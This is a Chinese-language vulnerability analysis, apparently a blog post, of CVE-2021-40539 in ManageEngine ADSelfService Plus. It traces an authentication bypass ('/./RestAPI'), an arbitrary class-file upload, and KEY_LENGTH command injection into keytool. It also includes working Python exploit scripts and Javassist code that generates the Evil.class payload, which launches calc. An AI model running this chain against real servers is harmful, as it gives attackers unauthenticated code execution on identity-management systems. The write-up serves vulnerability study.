CVE-2021-40539分析

环境搭建

https://archives2.manageengine.com/self-service-password/6113/ManageEngine_ADSelfService_Plus_64bit.exe

直接下载对应的版本然后再本地搭建

I54B3d.png

配置远程调试

I54v8J.png

修改wrapper.conf,这样即可再IDEA中调试

I54UAO.png

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests


def UploadRunCalc(url):
uploadUrl=url+"./RestAPI/LogonCustomization"
#files = {'CERTIFICATE_PATH': open('1.txt', 'rb')}
files = {'CERTIFICATE_PATH': open('Evil.class', 'rb')}

proxies={"http":None}
#proxies = {"http": "http://127.0.0.1:8080"}

uploadData = {
"methodToCall": "unspecified",
"Save": "1",
"form": "smartcard",
"operation": "Add"
}

r1 = requests.post(uploadUrl, data=uploadData, files=files, proxies=proxies)

runUrl=url+"./RestAPI/Connection"
#files = {'CERTIFICATE_PATH': open('1.txt', 'rb')}


runData={
"methodToCall":"openSSLTool",
"action":"generateCSR",
"KEY_LENGTH":'123 -providerclass "Evil" -providerpath "..\\bin"'

}
r2 = requests.post(url=runUrl, data=runData,proxies=proxies)


if __name__=="__main__":
url = "http://win-iobn7uhkolu:8888/"
UploadRunCalc(url)

执行成功

I54O5F.png

分析

CVE-2021-40539实现RCE的过程由3个漏洞组成,分别是

  1. Restful API认证绕过
  2. 任意文件上传
  3. 命令拼接

Restful API认证绕过

查看web.xml,RestAPI对应的servlet是action

I54cHf.png

ADSFilter是一个全局过滤器

I54d4e.png

com.manageengine.ads.fw.filter.ADSFilter#doFilter

定位到对应的类

判断如果是Restful API访问,尝试提取认证信息,然后调用doSubFilters

I54aND.png

com.manageengine.ads.fw.filter.ADSFilter#doSubFilters

重点在RestAPIUtil.isRestAPIRequest

I54yut.png

com.manageengine.ads.fw.api.RestAPIUtil#isRestAPIRequest

正常访问/RestAPI/LicenseMgr,发现没有权限

I54rjI.png

isRestAPIRequest中可以看到对目录访问的限制,这里只需要绕过一下正则匹配,在前面加上/.即可

I5409H.png

这样就能绕过

1
/./RestAPI/LicenseMgr

I546DP.png

成功未授权访问

I54rjI.png

任意文件上传

struts-config.xml中找到对应的接口/LogoCustomization,再定位到对应的类com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization#unspecified

I542E8.png

com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization#unspecified

当输入的参数符合条件时,会调用addSmartCardConfig

1
Save=1&form=smartcard&operation=Add

I54hCQ.png

com.manageengine.ads.fw.authentication.smartcard.SmartCardAction#addSmartCardConfig

调用getFileFromRequest

I54RUS.png

com.manageengine.ads.fw.util.FileActionHandler#getFileFromRequest

上传文件

I54W4g.png

上传成功会显示404

I5443j.png

成功上传到bin目录下

I545gs.png

上传文件用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url="http://win-iobn7uhkolu:8888/./RestAPI/LogonCustomization"

files = {'CERTIFICATE_PATH': open('1.txt', 'rb')}

proxies={"http":None}
#proxies={"http":"http://127.0.0.1:8080"}

data={
"methodToCall":"unspecified",
"Save":"1",
"form":"smartcard",
"operation":"Add"
}
r = requests.post(url, data=data,files=files,proxies=proxies)

命令注入

com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction

I54Ivn.png

com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction

满足条件时进入SSLUtil.createCSR(request)

I54Tuq.png

com.adventnet.sym.adsm.common.webclient.util.SSLUtil#createCSR

进入createCSR

I54HbV.png

com.adventnet.sym.adsm.common.webclient.util.SSLUtil#createCSR

调用runCommand执行命令,参数-keysize直接来源于KEY_LENGTH,而KEY_LENGTH来源于request.getParameter("KEY_LENGTH"),这样就可以进行命令注入

I54jC4.png

I54qET.png

主要调用了keytool.exe -genkey,这个方法的参数如下

genkey命令有两个参数providerclassproviderpath,可以用来指定字节码.class文件和文件路径,然后执行字节码文件中的JAVA代码。这里跟前面的任意文件上传配合一下就可以实现RCE了,先上传一个class文件到bin目录,然后利用keytool拼接命令指定对应的参数,就可以执行上传的字节码文件。

I547D0.png

实际上拼接进去的参数如下

1
KEN_LENGTH=1024 -providerclass "Evil" -providerpath "C:\\ManageEngine\\ADSelfService Plus\\bin"

生成一个恶意class文件,然后把它上传上去,然后利用keytool命令注入执行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


public class JavassistTest {
public static void main(String[] args) throws Exception {


ClassPool pool=ClassPool.getDefault();
CtClass ctClass=pool.makeClass("Evil");
String cmd="{java.lang.Runtime.getRuntime().exec(\"calc\");}";

CtConstructor ctConstructor=ctClass.makeClassInitializer();
ctConstructor.insertBefore(cmd);

ctClass.writeFile("./");

}
}

实际执行的命令

I54LUU.png

参考

https://forum.butian.net/share/876

https://www.jianshu.com/p/a1591b2ad7cf